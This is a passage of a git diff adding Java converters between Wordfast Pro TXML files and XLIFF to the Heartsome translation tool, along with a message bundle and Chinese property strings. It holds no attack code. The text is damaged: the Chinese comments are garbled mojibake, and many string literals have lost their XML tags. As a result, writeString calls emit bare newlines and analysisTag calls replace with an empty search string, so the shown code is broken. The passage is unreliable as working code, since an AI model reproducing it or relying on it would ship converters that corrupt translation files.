(Converter.TRUE.equalsIgnoreCase(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + + qtToolID = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + lockXtrans = false; + if (Converter.TRUE.equals(params.get(Converter.ATTR_LOCK_XTRANS))) { + lockXtrans = true; + } + + lock100 = false; + if (Converter.TRUE.equals(params.get(Converter.ATTR_LOCK_100))) { + lock100 = true; + } + + try { + output = new FileOutputStream(xliffFile); + copyFile(inputFile, skeletonFile); + parseSkeletonFile(); + writeHeader(); + analyzeNodes(); + + writeString("\n"); + writeString("\n"); + writeString(""); + + sklXM.output(skeletonFile); + + // 下一步是处ç†è¯‘文中的标记与æºæ–‡ä¸­æ ‡è®° ä¸å®Œå…¨ä¸€è‡´(属性的ä½ç½®ä¸ä¸€è‡´ï¼Œä½†æ˜¯å†…容都是一样) 的情况。 + // 比如:&lt;p&gt; 与 &lt;p&gt; + makeTagTheSame(); + + }catch (Exception e) { + e.printStackTrace(); + String errorTip = Messages.getString("wf2Xlf.msg1") + "\n" + e.getMessage(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e); + LOGGER.error("", e); + }finally{ + try { + output.close(); + } catch (Exception e2) { + e2.printStackTrace(); + String errorTip = Messages.getString("wf2Xlf.msg1") + "\n" + e2.getMessage(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e2); + } + monitor.done(); + } + return result; + } + + + /** + * 解æžéª¨æž¶æ–‡ä»¶ï¼Œæ­¤æ—¶çš„骨架文件的内容就是æºæ–‡ä»¶çš„内容 + * @throws Exception + */ + private void parseSkeletonFile() throws Exception{ + String errorInfo = ""; + VTDGen vg = new VTDGen(); + if (vg.parseFile(skeletonFile, true)) { + sklVN = vg.getNav(); + sklXM = new XMLModifier(sklVN); + }else { + errorInfo = MessageFormat.format(Messages.getString("wf.parse.msg1"), + new Object[]{new File(inputFile).getName()}); + throw new Exception(errorInfo); + } + } + + private void writeString(String string) throws IOException { + output.write(string.getBytes("utf-8")); //$NON-NLS-1$ + } + + /** + * 写下XLIFF文件的头节点 + */ + private void writeHeader() throws IOException { + writeString("\n"); + writeString("\n"); + writeString("\n"); + writeString("
    \n"); + writeString(" \n"); + String crc = ""; + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("utf-8")) + "\""; + } + writeString(" \n"); + writeString(" \n"); + writeString(" \n"); + writeString(" " + + srcEncoding + "\n"); + writeString("
    \n"); + writeString("\n"); + } + + + /** + * 分æžæ¯ä¸€ä¸ªèŠ‚点 + * @throws Exception + */ + private void analyzeNodes() throws Exception{ + AutoPilot ap = new AutoPilot(sklVN); + AutoPilot childAP = new AutoPilot(sklVN); + VTDUtils vu = new VTDUtils(sklVN); + String xpath = "/txml/translatable/descendant::segment"; + String srxXpath = "./source"; + String tgtXpath = "./target"; + String commentXpath = "./comments/comment"; + + ap.selectXPath(xpath); + int attrIdx = -1; + //xliff 文件的 trans-unit 节点的 id 值 + int segId = 0; + while (ap.evalXPath() != -1) { + TuBean tuBean = new TuBean(); + + sklVN.push(); + childAP.selectXPath(srxXpath); + while (childAP.evalXPath() != -1) { + String srcContent = vu.getElementContent(); + if (srcContent != null && !"".equals(srcContent)) { + tuBean.setSrcContent(analysisTag(srcContent)); + //开始填充å ä½ç¬¦ + insertPlaceHolder(vu, segId); + } + } + sklVN.pop(); + + sklVN.push(); + childAP.selectXPath(tgtXpath); + while (childAP.evalXPath() != -1) { + String tgtContent = vu.getElementContent(); + if (tgtContent != null && !"".equals(tgtContent)) { + tuBean.setTgtContent(analysisTag(tgtContent)); + } + attrIdx = sklVN.getAttrVal("score"); + if (attrIdx != -1) { + String match = sklVN.toRawString(attrIdx); + tuBean.setMatch(match); + } + + insertPlaceHolder(vu, segId); + } + sklVN.pop(); + + // 开始处ç†æ‰¹æ³¨ä¿¡æ¯ + sklVN.push(); + childAP.selectXPath(commentXpath); + List commnentList = new LinkedList(); + while(childAP.evalXPath() != -1){ + // 获å–添加者 + String user = ""; + attrIdx = sklVN.getAttrVal("creationid"); + if (attrIdx != -1) { + user = sklVN.toRawString(attrIdx); + } + + // 获å–添加时间 + String date = ""; + attrIdx = sklVN.getAttrVal("creationdate"); + if (attrIdx != -1) { + date = sklVN.toRawString(attrIdx); + } + + // 获å–批注类型 + String type = ""; + attrIdx = sklVN.getAttrVal("type"); + if (attrIdx != -1) { + type = sklVN.toRawString(attrIdx); + } + + // 获å–批注类容 + String commentText = ""; + attrIdx = sklVN.getText(); + if (attrIdx != -1) { + commentText = sklVN.toRawString(attrIdx); + } + commnentList.add(new CommentBean(user, date, type, commentText, null)); + } + sklVN.pop(); + + // 删除所有的批注 + sklVN.push(); + childAP.selectXPath("./comments"); + if (childAP.evalXPath() != -1) { + sklXM.remove(); + } + sklVN.pop(); + + tuBean.setCommentList(commnentList); + writeSegment(tuBean, segId); + segId ++; + } + } + + /** + * 给剔去翻译内容åŽçš„骨架文件填充å ä½ç¬¦ + * @throws Exception + */ + private void insertPlaceHolder(VTDUtils vu, int seg) throws Exception{ + String mrkHeader = vu.getElementHead(); + String nodeName = vu.getCurrentElementName(); + String newMrkStr = mrkHeader + "%%%"+ seg +"%%%" + ""; + sklXM.remove(); + sklXM.insertAfterElement(newMrkStr.getBytes(srcEncoding)); + } + + /** + * å‘XLIFF文件输入新生æˆçš„trans-unit节点 + * @param srcContent + * @param tgtContent + * @param segId + * @throws Exception + */ + private void writeSegment(TuBean bean, int segId) throws Exception{ + String srcContent = bean.getSrcContent(); + String tgtContent = bean.getTgtContent(); + List commentList = bean.getCommentList(); + srcContent = srcContent == null ? "" : srcContent; + tgtContent = tgtContent == null ? "" : tgtContent; + + StringBuffer tuSB = new StringBuffer(); + + String tgtStatusStr = ""; + String tuAttrStr = ""; +// boolean isApproved = false; +// //具体的æ„æ€åŠä¸ŽR8的转æ¢è¯·æŸ¥çœ‹tgtBean.getStatus()的注释。 +// if ("needs-translation".equals(status) || "".equals(status)) { +// if (tgtBean.getContent() != null && tgtBean.getContent().length() >= 1) { +// tgtStatusStr += " state=\"new\""; +// } +// }else if ("finish".equals(status)) { +// isApproved = true; +// tgtStatusStr += " state=\"translated\""; +// }else if ("needs-review-translation".equals(status)) { +// //ç–‘é—® +// tuAttrStr += " hs:needs-review=\"yes\""; +// } +// tuAttrStr += isApproved ? " approved=\"yes\"" : ""; +// tuAttrStr += tgtBean.isLocked() ? " translate=\"no\"" : ""; +// +// tuSB.append(" \n"); +// tuSB.append(" " + srcContent + "\n"); +// if (!tgtBean.isTextNull()) { +// String tgtContent = tgtBean.getContent(); +// tuSB.append(" " +// + tgtContent + "\n"); +// } +// tuSB.append(" \n"); + + if (!"".equals(tgtContent)) { + tgtStatusStr = " state=\"new\""; + } + String match = bean.getMatch(); + if (match != null && !"".equals(match)) { + //hs:quality="101" + tgtStatusStr += " hs:quality=\"" + match + "\""; + } + + tuSB.append(" \n"); + tuSB.append(" " + srcContent + "\n"); + tuSB.append(" " + + tgtContent + "\n"); + for(CommentBean commentBean : commentList){ + String user = commentBean.getUser(); + String date = commentBean.getDate(); + date = getR8dateStrFromUTC(date); + String commentText = commentBean.getCommentText(); + String hsCommentText = date + ":" + commentText; + tuSB.append(" " + hsCommentText + ""); + } + tuSB.append(" \n"); + + writeString(tuSB.toString()); + } + + /** + * 将译文与æºæ–‡çš„标记整æˆä¸€æ ·çš„。 + * @throws Exception + */ + private void makeTagTheSame() throws Exception{ + VTDGen vg = new VTDGen(); + if (!vg.parseFile(xliffFile, true)) { + String errorInfo = MessageFormat.format(Messages.getString("wf.parse.msg1"), + new Object[]{new File(inputFile).getName()}); + throw new Exception(errorInfo); + } + VTDNav tagVN = vg.getNav(); + AutoPilot tagAP = new AutoPilot(tagVN); + AutoPilot childAP = new AutoPilot(tagVN); + VTDUtils vu = new VTDUtils(tagVN); + XMLModifier xm = new XMLModifier(tagVN); + + String xpath = "/xliff/file/body/descendant::trans-unit"; + String srcPhXpath = "./source/ph"; + String tgtPhXpath = "./target/ph"; + String tgtXpath = "./target"; + + tagAP.selectXPath(xpath); + List tagList = new ArrayList(); + tu:while(tagAP.evalXPath() != -1){ + // 如果译文为空,ä¸è¿›è¡Œæœ¬æ¬¡æ“作 + boolean needContinu = false; + tagVN.push(); + childAP.selectXPath(tgtXpath); + if (childAP.evalXPath() != -1) { + // 如果 ph 标记个数为0,ä¸è¿›è¡Œæœ¬æ¬¡æ“作 + if (vu.getChildElementsCount() <= 0) { + needContinu = true; + } + }else { + needContinu = true; + } + tagVN.pop(); + + if (needContinu) { + continue; + } + + // è¯»å– æºæ–‡ï¼Œå–出其中的标记 + tagVN.push(); + childAP.selectXPath(srcPhXpath); + while (childAP.evalXPath() != -1) { + String content = vu.getElementContent(); + String frag = vu.getElementFragment(); + Map attributesMap = getElementAttributs(tagVN); + tagList.add(new TagBean(content, frag, attributesMap)); + } + tagVN.pop(); + + // 如果æºæ–‡ä¸­ä¹Ÿæ²¡æœ‰æ ‡è®°ï¼Œé‚£ä¹ˆé€€å‡ºæœ¬æ¬¡å¾ªçŽ¯ + if (tagList.size() <= 0) { + continue; + } + + // 循环译文中的æ¯ä¸€ä¸ªæ ‡è®° + tagVN.push(); + childAP.selectXPath(tgtPhXpath); + while(childAP.evalXPath() != -1){ + // 如果æºæ–‡ä¸­çš„标记都没得了。就没求的比头了。 + if (tagList.size() <= 0) { + tagVN.pop(); + continue tu; + } + + String frag = vu.getElementFragment(); + if (!fragEquls(frag, tagList)) { + analysisNotEqualsTag(xm, vu, tagVN, tagList); + } + } + tagVN.pop(); + } + + xm.output(xliffFile); + } + + /** + * 验è¯æ˜¯å¦ç›¸ç­‰ + * @param frag + * @param tagList + * @return + */ + private boolean fragEquls(String frag , List tagList){ + for (TagBean bean : tagList) { + if (frag.equals(bean.getFrag())) { + tagList.remove(bean); + return true; + } + } + return false; + } + + /** + * 如果译文中的标记 fragment 在æºæ–‡ä¸­æ‰¾ä¸åˆ°ã€‚那我们就开始比较是å¦å±žæ€§é”™ä½äº†ã€‚如果错ä½ï¼Œç„¶åŽå°±ç„¶åŽã€‚ + * @param xm + * @param tagVN + * @param tagList + */ + private void analysisNotEqualsTag(XMLModifier xm, VTDUtils vu, VTDNav vn, List tagList) throws Exception{ + vn.push(); + Map curAtrriMap = getElementAttributs(vn); + String curContent = vu.getElementContent(); + boolean attriEquals = true; // 标记的属性是å¦ç›¸ç­‰ + + tagBeanFor:for (TagBean bean : tagList) { + Map attriMap = bean.getAttributesMap(); + if (curAtrriMap.size() != attriMap.size()) { + continue; + } + + for (Entry entry : attriMap.entrySet()) { + String key = entry.getKey(); + String value = entry.getValue(); + + if (!(curAtrriMap.get(key) != null && value.equals(curAtrriMap.get(key)))) { + attriEquals = false; + continue tagBeanFor; + } + } + + // 如果这个标记在æºæ–‡ä¸­ä¹Ÿå­˜åœ¨ï¼ˆåªæ˜¯å±žæ€§é¡ºåºä¸åŒï¼‰ï¼Œåˆ™å¼€å§‹åˆ é™¤ç›®æ ‡ä¸­æ­¤æ ‡è®°ï¼Œé‡æ–°æ’å…¥ + String content = bean.getContent(); + if (curContent.equals(content) && attriEquals) { + xm.remove(); + xm.insertAfterElement(bean.getFrag().getBytes("UTF-8")); + tagList.remove(bean); + break tagBeanFor; + } + } + vn.pop(); + } + } +//----------------------------------------------------Wf2XliffImpl 结æŸæ ‡å¿—--------------------------------------------// + private static void copyFile(String in, String out) throws Exception { + FileInputStream fis = new FileInputStream(in); + FileOutputStream fos = new FileOutputStream(out); + byte[] buf = new byte[1024]; + int i = 0; + while ((i = fis.read(buf)) != -1) { + fos.write(buf, 0, i); + } + fis.close(); + fos.close(); + } + + + /** + * 转æ¢æ—¶é—´ + * @param strDate + * @return + */ + private static String getR8dateStrFromUTC(String _UTCDate) { + SimpleDateFormat formatter = new SimpleDateFormat("yyyyMMdd'T'HHmmss'Z'"); + ParsePosition pos = new ParsePosition(0); + Date str2Date = formatter.parse(_UTCDate, pos); + SimpleDateFormat formatter_1 = new SimpleDateFormat("yyyy-MM-dd"); + + return formatter_1.format(str2Date); + } + + /** + * å°† wf 文件中的 ut 标记æ¢æˆ ph 标记 + * @param text + * @return + */ + private static String analysisTag(String text){ + //<fontformat color="0#0#0"><b> + text = text.replace("", "ph>"); + return text; + } + + public static void main(String[] args) { + String text = "<fontformat color=\"0#0#0\"><b>"; + System.out.println(analysisTag(text)); + + LinkedHashMap table = new LinkedHashMap(); + table.put("1", "11"); + table.put("2", "22"); + table.put("3", "33"); + table.put("4", "4"); + table.put("5", "11"); + table.put("6", "22"); + table.put("7", "33"); + table.put("8", "4"); + + + for(Entry entry : table.entrySet()){ + System.out.println(entry.getKey()); + + } + } + + /** + *
    这个方法是从 VTDUtils 类中考è´çš„,主è¦æ˜¯è¦æœ‰ä¸€å®šçš„顺åº
    + * @param vn + * @return + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + */ + private Map getElementAttributs(VTDNav vn) + throws XPathParseException, XPathEvalException, NavException { + vn.push(); + Map attributes = new LinkedHashMap(); + AutoPilot apAttributes = new AutoPilot(vn); + apAttributes.selectXPath("@*"); + + int inx = -1; + while ((inx = apAttributes.evalXPath()) != -1) { + String name = vn.toString(inx); + inx = vn.getAttrVal(name); + String value = inx != -1 ? vn.toString(inx) : ""; + attributes.put(name, value); + } + apAttributes.resetXPath(); + + if (attributes.isEmpty()) { + attributes = null; + } + vn.pop(); + return attributes; + } + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/Xliff2Wf.java b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/Xliff2Wf.java new file mode 100644 index 0000000..67c819b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/Xliff2Wf.java @@ -0,0 +1,400 @@ +package net.heartsome.cat.converter.wordfast3; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.text.MessageFormat; +import java.text.ParsePosition; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.wordfast3.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +public class Xliff2Wf implements Converter { + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "txml"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("utils.FileFormatUtils.WF"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to TXML Conveter"; + public static final Logger LOGGER = LoggerFactory.getLogger(Xliff2Wf.class); + + @Override + public Map convert(Map args, + IProgressMonitor monitor) throws ConverterException { + Xliff2WfImpl xliff2DuImpl = new Xliff2WfImpl(); + return xliff2DuImpl.run(args, monitor); + } + + @Override + public String getName() { + return NAME_VALUE; + } + + @Override + public String getType() { + return TYPE_VALUE; + } + + @Override + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + class Xliff2WfImpl{ + /** 逆转æ¢çš„结果文件 */ + private String outputFile; + /** 骨架文件的解æžæ¸¸æ ‡ */ + private VTDNav outputVN; + /** 骨架文件的修改类实例 */ + private XMLModifier outputXM; + /** 骨架文件的查询实例 */ + private AutoPilot outputAP; + /** hsxliff文件的解æžæ¸¸æ ‡ */ + private VTDNav hsxlfVN; + /** The encoding. */ + private String encoding; + + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸¤å¤§éƒ¨åˆ†å…± 10 个任务,其中加载 xliff æ–‡ä»¶å  4,替æ¢è¿‡ç¨‹å  6。 + monitor.beginTask("Converting...", 10); + Map result = new HashMap(); + String sklFile = params.get(Converter.ATTR_SKELETON_FILE); + String xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + outputFile = params.get(Converter.ATTR_TARGET_FILE); + + try { + //先将骨架文件的内容拷è´åˆ°ç›®æ ‡æ–‡ä»¶ï¼Œå†è§£æžç›®æ ‡æ–‡ä»¶ + copyFile(sklFile, outputFile); + parseOutputFile(outputFile, xliffFile); + parseXlfFile(xliffFile); + ananysisXlfTU(); + + outputXM.output(outputFile); + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error("", e); + String errorTip = Messages.getString("xlf2wf.msg1") + "\n" + e.getMessage(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e); + }finally{ + monitor.done(); + } + result.put(Converter.ATTR_TARGET_FILE, outputFile); + return result; + } + + + /** + * 解æžç»“果文件(解æžæ—¶è¿™ä¸ªç»“果文件还是一个骨架文件) + * @param file + * @throws Exception + */ + private void parseOutputFile(String file, String xliffFile) throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(file, true)) { + outputVN = vg.getNav(); + outputXM = new XMLModifier(outputVN); + outputAP = new AutoPilot(outputVN); + }else { + String errorInfo = MessageFormat.format(Messages.getString("wf.parse.msg2"), + new Object[]{new File(xliffFile).getName()}); + throw new Exception(errorInfo); + } + } + + /** + * 解æžè¦è¢«é€†è½¬æ¢çš„xliff文件 + * @param xliffFile + * @throws Exception + */ + private void parseXlfFile(String xliffFile) throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(xliffFile, true)) { + hsxlfVN = vg.getNav(); + }else { + String errorInfo = MessageFormat.format(Messages.getString("wf.parse.msg1"), + new Object[]{new File(xliffFile).getName()}); + throw new Exception(errorInfo); + } + } + + /** + * 分æžxliff文件的æ¯ä¸€ä¸ª trans-unit 节点 + * @throws Exception + */ + private void ananysisXlfTU() throws Exception { + AutoPilot ap = new AutoPilot(hsxlfVN); + AutoPilot childAP = new AutoPilot(hsxlfVN); + VTDUtils vu = new VTDUtils(hsxlfVN); + String xpath = "/xliff/file/body//trans-unit"; + String srcXpath = "./source"; + String tgtXpath = "./target"; + + ap.selectXPath(xpath); + int attrIdx = -1; + //trans-unitçš„id,对应 wf åŒè¯­æ–‡ä»¶çš„å ä½ç¬¦å¦‚%%%1%%% 。 + String segId = ""; + TuBean tuBean = null; + while (ap.evalXPath() != -1) { + if ((attrIdx = hsxlfVN.getAttrVal("id")) == -1) { + continue; + } + tuBean = new TuBean(); + segId = hsxlfVN.toString(attrIdx); + + //处ç†source节点 + hsxlfVN.push(); + childAP.selectXPath(srcXpath); + if (childAP.evalXPath() != -1) { + String srcContent = vu.getElementContent(); + srcContent = srcContent == null ? "" : srcContent; + tuBean.setSrcContent(analysisTag(srcContent)); + } + hsxlfVN.pop(); + + //处ç†target节点 + String status = ""; //状æ€ï¼Œé’ˆå¯¹target节点,空字符串为未翻译 + hsxlfVN.push(); + String tgtContent = null; + childAP.selectXPath(tgtXpath); + if (childAP.evalXPath() != -1) { + tgtContent = vu.getElementContent(); + if ((attrIdx = hsxlfVN.getAttrVal("state")) != -1) { + status = hsxlfVN.toString(attrIdx); + } + } + tgtContent = tgtContent == null ? "" : tgtContent; + tuBean.setTgtContent(analysisTag(tgtContent)); + hsxlfVN.pop(); //回到trans-unit节点下 + +// //判断是å¦å¤„于é”å®šçŠ¶æ€ +// if ((attrIdx = hsxlfVN.getAttrVal("translate")) != -1) { +// if ("no".equalsIgnoreCase(hsxlfVN.toString(attrIdx))) { +// tgtBean.setLocked(true); +// } +// } +// //判断是å¦å¤„于批准状æ€ï¼Œè‹¥æ˜¯ç­¾å‘,就没有必è¦åˆ¤æ–­äº†ï¼Œå› ä¸ºç­¾å‘了的一定就批准了的 +// if (!"signed-off".equalsIgnoreCase(status)) { +// if ((attrIdx = hsxlfVN.getAttrVal("approved")) != -1) { +// if ("yes".equalsIgnoreCase(hsxlfVN.toString(attrIdx))) { +// status = "approved"; //批准 +// } +// } +// } +// +// //如果是é”定了的。在deja vu里é¢çš„完æˆç¿»è¯‘状æ€å˜æˆæœªå®Œæˆç¿»è¯‘。 +// if (tgtBean.isLocked()) { +// status = "needs-translation"; +// }else { +// //将状æ€åˆ‡æ¢æˆdu xliffçš„æ ¼å¼ +// if ("approved".equals(status) || "signed-off".equals(status)) { +// status = "finish"; +// }else { +// status = "needs-translation"; +// } +// +// //判断是å¦æœ‰ç–‘问这个属性 +// if (!"finish".equals(status)) { +// if ((attrIdx = hsxlfVN.getAttrVal("hs:needs-review")) != -1) { +// if ("yes".equals(hsxlfVN.toString(attrIdx))) { +// status = "needs-review-translation"; +// } +// } +// } +// } +// +// tgtBean.setStatus(status); + + //获å–批注 + getNotes(hsxlfVN, tuBean); + replaceSegment(segId, tuBean); + } + } + + /** + * 替æ¢æŽ‰éª¨æž¶æ–‡ä»¶ä¸­çš„å ä½ç¬¦ + * @param segId + * @param srcBean + * @param tgtbeBean + */ + private void replaceSegment(String segId, TuBean tuBean) throws Exception { + String segStr = "%%%" + segId + "%%%"; + String segXpath = "/txml/translatable/descendant::segment[source/text()='" + segStr + "' or target/text()='" + segStr + "']"; + String srcXpath = "./source"; + String tgtXapth = "./target"; + + AutoPilot childAp = new AutoPilot(outputVN); + + outputAP.selectXPath(segXpath); + if (outputAP.evalXPath() != -1) { + StringBuffer addedSb = new StringBuffer(); + // 开始处ç†æºæ–‡ + outputVN.push(); + childAp.selectXPath(srcXpath); + if (childAp.evalXPath() != -1) { + int textIdx = outputVN.getText(); + outputXM.updateToken(textIdx, tuBean.getSrcContent().getBytes("utf-8")); + } + outputVN.pop(); + + // 开始处ç†è¯‘æ–‡ + String tgtContent = tuBean.getTgtContent(); + if (tgtContent != null && !"".equals(tgtContent)) { + boolean tgtExsit = false; + outputVN.push(); + childAp.selectXPath(tgtXapth); + if (childAp.evalXPath() != -1) { + int textIdx = outputVN.getText(); + outputXM.updateToken(textIdx, tgtContent.getBytes("utf-8")); + tgtExsit = true; + } + outputVN.pop(); + + if (!tgtExsit) { + String tgtFrag = "" + tgtContent + ""; + addedSb.append(tgtFrag); + } + } + + // 开始处ç†æ‰¹æ³¨ä¿¡æ¯ + List commentList = tuBean.getCommentList(); + if (commentList != null && commentList.size() > 0) { + StringBuffer commentSB = new StringBuffer(); + commentSB.append(""); + for(CommentBean bean : commentList){ + String user = bean.getUser(); + String date = bean.getDate(); + String type = bean.getType(); + String commentText = bean.getCommentText(); + + if (date == null || "".equals(date)) { + date = "000-00-00"; + } + date = getUTCDateStr(date); + + commentSB.append(""); + commentSB.append(commentText); + commentSB.append(""); + } + commentSB.append(""); + addedSb.append(commentSB); + } + + outputXM.insertBeforeTail(addedSb.toString().getBytes("utf-8")); + } + + } + + + private void getNotes(VTDNav vn, TuBean tuBean) throws Exception { + List commentList = new LinkedList(); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + String xpath = "./note"; + ap.selectXPath(xpath); + String commentText = ""; + int attrIdx = -1; + while(ap.evalXPath() != -1){ + attrIdx = vn.getAttrVal("from"); + String user = ""; + String date = ""; + String type = "text"; + + if (attrIdx != -1) { + user = vn.toRawString(attrIdx); + } + if (vn.getText() != -1) { + String r8NoteText = vn.toString(vn.getText()); + if (r8NoteText.indexOf(":") != -1) { + commentText += r8NoteText.substring(r8NoteText.indexOf(":") + 1, r8NoteText.length()); + date = r8NoteText.substring(0, r8NoteText.indexOf(":")); + }else { + commentText += r8NoteText; + } + } + + commentList.add(new CommentBean(user, date, type, commentText, null)); + } + if (commentText.length() > 0) { + commentText = commentText.substring(0, commentText.length() - 1); + } + tuBean.setCommentList(commentList); + vn.pop(); + } + } +//----------------------------------------------------Xliff2DuImpl 结æŸæ ‡å¿—--------------------------------------------// + + /** + * 将一个文件的数æ®å¤åˆ¶åˆ°å¦ä¸€ä¸ªæ–‡ä»¶ + * @param in + * @param out + * @throws Exception + */ + private static void copyFile(String in, String out) throws Exception { + FileInputStream fis = new FileInputStream(in); + FileOutputStream fos = new FileOutputStream(out); + byte[] buf = new byte[1024]; + int i = 0; + while ((i = fis.read(buf)) != -1) { + fos.write(buf, 0, i); + } + fis.close(); + fos.close(); + } + + public static void main(String[] args) { + String comment = "this is a comment;\n"; + System.out.println(comment.substring(0, comment.length() - 1)); + + System.out.println(getUTCDateStr("0000-00-00")); + } + + /** + * 转æ¢æ—¶é—´ + * @param strDate + * @return + */ + public static String getUTCDateStr(String strDate) { + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd"); + ParsePosition pos = new ParsePosition(0); + Date str2Date = formatter.parse(strDate, pos); + SimpleDateFormat formatter_1 = new SimpleDateFormat("yyyyMMdd'T'HHmmss'Z'"); + + return formatter_1.format(str2Date); + } + + /** + * å°† wf 文件中的 ut 标记æ¢æˆ ph 标记 + * @param text + * @return + */ + private static String analysisTag(String text){ + //<fontformat color="0#0#0"><b> + text = text.replace("", "ut>"); + return text; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/Messages.java new file mode 100644 index 0000000..6e93cf8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.wordfast3.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author robert 2012-12-13 + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.wordfast3.resource.wf"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/wf.properties b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/wf.properties new file mode 100644 index 0000000..4230fac --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/wf.properties @@ -0,0 +1,13 @@ + +utils.FileFormatUtils.WF = Wordfast Pro \u53cc\u8bed XML \u6587\u4ef6 (TXML) + +wf.parse.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\u3002\u8bf7\u786e\u8ba4\u8be5 TXML \u6587\u4ef6\u53ef\u8bfb\u5199\u3001\u4e14\u5176\u5185\u5bb9\u4e2d\u6ca1\u6709\u9519\u8bef\u3002 +wf.parse.msg2 = \u6587\u4ef6 {0} \u7684\u9aa8\u67b6\u4fe1\u606f\u65e0\u6cd5\u89e3\u6790\uff0c\u65e0\u6cd5\u8f6c\u6362\u4e3a TXML\u3002\u8be5\u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 + + +wf.task1 = \u6b63\u5728\u8f6c\u6362 TXML \u6587\u4ef6\u4e3a XLIFF... +wf.task2 = \u6b63\u5728\u8f6c\u6362 XLIFF \u6587\u4ef6\u4e3a TXML... + +wf2Xlf.msg1 = Wordfast Pro \u53cc\u8bed\u6587\u4ef6\u8f6c\u6362\u6210 XLIFF \u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +xlf2wf.msg1 = XLIFF \u8f6c\u6362\u6210 Wordfast Pro \u53cc\u8bed\u6587\u4ef6\u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/resource/wf_en.properties 